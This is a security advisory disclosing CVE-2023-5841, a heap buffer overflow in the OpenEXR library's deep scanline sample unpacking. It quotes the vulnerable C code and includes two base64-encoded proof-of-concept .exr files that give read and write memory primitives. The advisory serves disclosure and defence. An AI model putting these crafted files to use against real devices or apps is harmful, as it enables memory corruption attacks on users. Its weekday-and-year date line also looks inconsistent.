AHA! has discovered an issue with OpenEXR from The Academy Software Foundation, and is publishing this disclosure in accordance with AHA!’s standard disclosure policy today, on Wednesday, Jan 31, 2023. CVE-2023-5841 has been assigned to this issue.
Any questions about this disclosure should be directed to [email protected].
Due to a failure in validating the number of scanline samples of a OpenEXR file containing deep scanline data, Academy Software Foundation OpenEXR image parsing library version 3.2.1 and prior is susceptible to a heap-based buffer overflow vulnerability. CVE-2023-5841 appears to be an instance of CWE-122.
Within the generic_unpack_deep() function, the samps
value, which is obtained from the sampbuffer array and is sourced from the input .exr file, is passed to the UNPACK_SAMPLES macro (line 1264).
src/lib/OpenEXRCore/unpack.c
1209 static exr_result_t
1210 generic_unpack_deep (exr_decode_pipeline_t* decode)
1211 {
1212 const uint8_t* srcbuffer = decode->unpacked_buffer;
1213 const int32_t* sampbuffer = decode->sample_count_table;
1214 uint8_t* cdata;
1215 int w, h, bpc, ubpc;
1216 size_t totsamps = 0;
1217
...
...
1253 for (int x = 0; x < w; ++x)
1254 {
1255 int32_t samps = sampbuffer[x];
1256 if (0 == (decode->decode_flags &
1257 EXR_DECODE_SAMPLE_COUNTS_AS_INDIVIDUAL))
1258 {
1259 int32_t tmp = samps - prevsamps;
1260 prevsamps = samps;
1261 samps = tmp;
1262 }
1263
1264 UNPACK_SAMPLES (samps)
1265
1266 srcbuffer += bpc * samps;
1267 if (incr_tot) totsamps += (size_t) samps;
1268 }
1269 }
1270 sampbuffer += w;
1271 }
1272
1273 return EXR_ERR_SUCCESS;
1274 }
The entire UNPACK_SAMPLES
macro can be seen below and contains a set of switch statements that are used to parse the source buffer stored in the srcbuffer
variable. This parsing is done through loop statements within the macro which all use the samps
count as a the loop bounds. Because this value is sourced from the file and is never validated against the size of the destination buffer, a heap buffer overflow can occur.
src/lib/OpenEXRCore/unpack.c
972 #define UNPACK_SAMPLES(samps) \
973 switch (decc->data_type) \
974 { \
975 case EXR_PIXEL_HALF: \
976 switch (decc->user_data_type) \
977 { \
978 case EXR_PIXEL_HALF: { \
979 const uint16_t* src = (const uint16_t*) srcbuffer; \
980 for (int s = 0; s < samps; ++s) \
981 { \
982 *((uint16_t*) cdata) = unaligned_load16 (src); \
983 ++src; \
984 cdata += ubpc; \
985 } \
986 break; \
987 } \
988 case EXR_PIXEL_FLOAT: { \
989 const uint16_t* src = (const uint16_t*) srcbuffer; \
990 for (int s = 0; s < samps; ++s) \
991 { \
992 uint16_t cval = unaligned_load16 (src); \
993 ++src; \
994 *((float*) cdata) = half_to_float (cval); \
995 cdata += ubpc; \
996 } \
997 break; \
998 } \
999 case EXR_PIXEL_UINT: { \
1000 const uint16_t* src = (const uint16_t*) srcbuffer; \
1001 for (int s = 0; s < samps; ++s) \
1002 { \
1003 uint16_t cval = unaligned_load16 (src); \
1004 ++src; \
1005 *((uint32_t*) cdata) = half_to_uint (cval); \
1006 cdata += ubpc; \
1007 } \
1008 break; \
1009 } \
1010 default: return EXR_ERR_INVALID_ARGUMENT; \
1011 } \
1012 break; \
1013 case EXR_PIXEL_FLOAT: \
1014 switch (decc->user_data_type) \
1015 { \
1016 case EXR_PIXEL_HALF: { \
1017 const uint32_t* src = (const uint32_t*) srcbuffer; \
1018 for (int s = 0; s < samps; ++s) \
1019 { \
1020 uint32_t fint = unaligned_load32 (src); \
1021 ++src; \
1022 *((uint16_t*) cdata) = float_to_half_int (fint); \
1023 cdata += ubpc; \
1024 } \
1025 break; \
1026 } \
1027 case EXR_PIXEL_FLOAT: { \
1028 const uint32_t* src = (const uint32_t*) srcbuffer; \
1029 for (int s = 0; s < samps; ++s) \
1030 { \
1031 *((uint32_t*) cdata) = unaligned_load32 (src); \
1032 ++src; \
1033 cdata += ubpc; \
1034 } \
1035 break; \
1036 } \
1037 case EXR_PIXEL_UINT: { \
1038 const uint32_t* src = (const uint32_t*) srcbuffer; \
1039 for (int s = 0; s < samps; ++s) \
1040 { \
1041 uint32_t fint = unaligned_load32 (src); \
1042 ++src; \
1043 *((uint32_t*) cdata) = float_to_uint_int (fint); \
1044 cdata += ubpc; \
1045 } \
1046 break; \
1047 } \
1048 default: return EXR_ERR_INVALID_ARGUMENT; \
1049 } \
1050 break; \
1051 case EXR_PIXEL_UINT: \
1052 switch (decc->user_data_type) \
1053 { \
1054 case EXR_PIXEL_HALF: { \
1055 const uint32_t* src = (const uint32_t*) srcbuffer; \
1056 for (int s = 0; s < samps; ++s) \
1057 { \
1058 uint32_t fint = unaligned_load32 (src); \
1059 ++src; \
1060 *((uint16_t*) cdata) = uint_to_half (fint); \
1061 cdata += ubpc; \
1062 } \
1063 break; \
1064 } \
1065 case EXR_PIXEL_FLOAT: { \
1066 const uint32_t* src = (const uint32_t*) srcbuffer; \
1067 for (int s = 0; s < samps; ++s) \
1068 { \
1069 uint32_t fint = unaligned_load32 (src); \
1070 ++src; \
1071 *((float*) cdata) = uint_to_float (fint); \
1072 cdata += ubpc; \
1073 } \
1074 break; \
1075 } \
1076 case EXR_PIXEL_UINT: { \
1077 const uint32_t* src = (const uint32_t*) srcbuffer; \
1078 for (int s = 0; s < samps; ++s) \
1079 { \
1080 *((uint32_t*) cdata) = unaligned_load32 (src); \
1081 ++src; \
1082 cdata += ubpc; \
1083 } \
1084 break; \
1085 } \
1086 default: return EXR_ERR_INVALID_ARGUMENT; \
1087 } \
1088 break; \
1089 default: return EXR_ERR_INVALID_ARGUMENT; \
1090 }
This vulernability is by default unreachable through the exr* utilities provided with
the OpenEXR library because of a conditional in the checkCoreFile
function (lines 1489-1492 below) which prevent the processing of EXR image files with the DEEP_SCANLINE
/DEEP_TILE
storage modes.
This however only prevents the exr* utilities from reaching the vulnerable code and direct calls
to other parsing functions (such as readCoreScanlinePart
) within the OpenEXR library still reach the vulnerable path.
src/lib/OpenEXRUtil/ImfCheckFile.cpp
1474 bool
1475 checkCoreFile (exr_context_t f, bool reduceMemory, bool reduceTime)
1476 {
1477 exr_result_t rv;
1478 int numparts;
1479
1480 rv = exr_get_count (f, &numparts);
1481 if (rv != EXR_ERR_SUCCESS) return true;
1482
1483 for (int p = 0; p < numparts; ++p)
1484 {
1485 exr_storage_t store;
1486 rv = exr_get_storage (f, p, &store);
1487 if (rv != EXR_ERR_SUCCESS) return true;
1488
1489 // TODO: Need to fill this in
1490 if (store == EXR_STORAGE_DEEP_SCANLINE ||
1491 store == EXR_STORAGE_DEEP_TILED)
1492 continue;
1493
1494 if (store == EXR_STORAGE_SCANLINE)
1495 {
1496 if (readCoreScanlinePart (f, p, reduceMemory, reduceTime))
1497 return true;
1498 }
1499 else if (store == EXR_STORAGE_TILED)
1500 {
1501 if (readCoreTiledPart (f, p, reduceMemory, reduceTime)) return true;
1502 }
1503 }
1504
1505 return false;
1506 }
Multiple .exr files which triggers the above described heap overflow can be found below.
[expand]
Write primitive from heap overflow:
di8xAQIAAABjb21wcmVzc2lvbgBjb21wcmVzc2lvbgABAAAAAHR5cGUAc3RyaW5nAA0AAABkZWVw
c2NhbmxpbmUAdmVyc2lvbgBpbnQABAAAAAEAAABjaGFubmVscwBjaGxpc3QAJQAAAEEAAAAAAAAA
AAABAAAAAQAAAAAArq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq4AAAAAAAEAAAAAAAAAAQAAAAAAAAAA/wAAAAAAAAAAADoAAAA6AAAA////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////
AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A
////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/
//8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8Arq4AAK6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq4=
Alternatively, a read primitive can be achieved leveraging the same bug with the following PoC:
di8xAQIAAABnAAARASYmJiYmJiYmJian5EBnr2S1zEBAQEBAQEBAzn0nDH6dyiPFuFBpSulKZm5u
bm5ubgD/JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmfv8mJtkmJiYmJiYmJiYmJiYmJiZ2ZXJz
aW9uMV4CMTLU1NQAAAAAAF8AALuAwg0DvhAIrqqbhONsH////////wAAjlVUgD4AJiYmJiYmJiYm
JiYmJgAAY2hyY29tcHJlc3Npb24AY29tcHJlc3Npb24AAQAAAAD/AAAmJiZubm5ubm5ubm5ubm5u
bm70qM084T4YPdT8YuIUBldXbmRvd0NlbnRlcgB2MmYACAAAAHYyZgFibGVlaWVlAAB0eXBlAHN0
cmluZwBfAAAAZGVlcHNjYW5saW5lAHIAf///AW9hdG1hdGljCXRpZXMwAAAB3gBjaABjaGxpc3QA
HAAAABAAAAAB/wAAABAAaQAAAQAA/mcAAP5nAAByAH///wFvYXRtYXQAAAABaWMJdGllczAAAAEA
Y2gAYwAAAP90AAAACABra2trazsra2tra2tr5Zcp6ib09XPqBi0xMZc5Wv9mbG9hdP////////8+
65He/kO+tTgXdw9VKwUAAADyAAAAfFUj49bgAAAA5eXl5eXla2UTBAAAAAAAAOXl5f//////////
5XYvMQHl5eXl5QH/dGltLzEB5eXl5eUB/3RpbWVjb3ljb2Rl5eXl5eXl///////////ldi8xAeXl
5eXlAf90aW1lY29kZf//AQBmbG9hdHZlY3RvcgAAAAAA//EAHWlldz4+Pj4+AOXl5eXl5eXl5eXl
5eVkaXNwbGF5V2luAABjaGFubmVscwBjaGxpc3QAPAAAABAAAAAAAAAAKgABAAAAAQAAAABkZWxp
AgAAAGNobGlzdHJlqRAAAAAAAABjaGxpc3RyZXNzaW9pdG9yAXcAAAAAAGNo/wAACE1NTXYyZE1N
TU30sAAAAAAAAGtleWNvZGXl5eXl5eX//////3L/AQD/AAAAnW94MTJpAAB0eXBlAAB0aWNpdGll
c+Xl5eXl5eXl5XYyZnBsYXlXaXlwZQBtMzNkAWV0aXKU4VQAAAAAAAAdAAAAaXKUbGWSNGF0M2Rw
cmVjaHKUbGVtNDRkAP8AAACdb3gxMmkCAAB5cGUAbTMzZAFldGlylGtlbTQ0ZH8AHQAAAGlylGxl
djNpdDNkcHJlY2hyb21hb3gxMmkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
yyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAAAANAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAc3RyaQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAypAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIJAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADqEAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACz
cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANTQzMgAA
AAAAAAAAAAAAAAAAAAAAoZ8LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAACwrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw0gAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2PkAAAAAAAAAAAAAAAAAAAAABoAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOXl5eXl5eXl
ZGlzcGxheVdpbgAAY2hhbm5lbHMAY2hsaXN0ADwAAAAQAAAAAAAAACoAAQAAAAEAAAAAZGVsaQIA
AABjaGxpc3RyZakQAAAAAAAAY2hsaXN0cmVzc2lvaXRvcgF3AAAAAABjaP8AAAhNTU12MmRNTU1N
9LAAAAAAAABrZXljb2Rl5eXl5eXl//////9y/wEA/wAAAJ1veDEyaQAAdHlwZQAAdGljaXRpZXPl
5eXl5eXl5eV2MmZwbGF5V2l5cGUAbTMzZAFldGlylGtlbTQ0ZH8AHQAAAGlylGxlkjRhdDNkcHJl
Y2hylGxlbTQ0ZAD/AAAAnW94MTJpAgAAeXBlAG0zM2QBZXRpcpRrZW00NGR/AB0AAABpcpRsZXYz
aXQzZHByZWNocm9tYW94MTJpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAARoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMsg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAQAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADqEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoZ8L
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
[/expand]
This vulnerability allows for a read or write primitive based on the provided EXR file attributes and therefore could be used to read or write memory to a compromised device through an attacker placed EXR image.
Furthermore, this vulnerability exists within a image parsing library that is known to be used in popular mobile devices and messaging software. Specifically, the affected library is reported by Project Zero to be used by Apple iMessage. To quote P0:
the OpenEXR library is exposed through Apple’s ImageIO framework and therefore is exposed as a 0click attack surface through various popular messenger apps on Apple devices. It is likely that the attack surface is not limited to messaging apps, though I haven’t conducted additional research to support that claim.
Note that exploitation on this platform has not been tested by AHA!.
This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch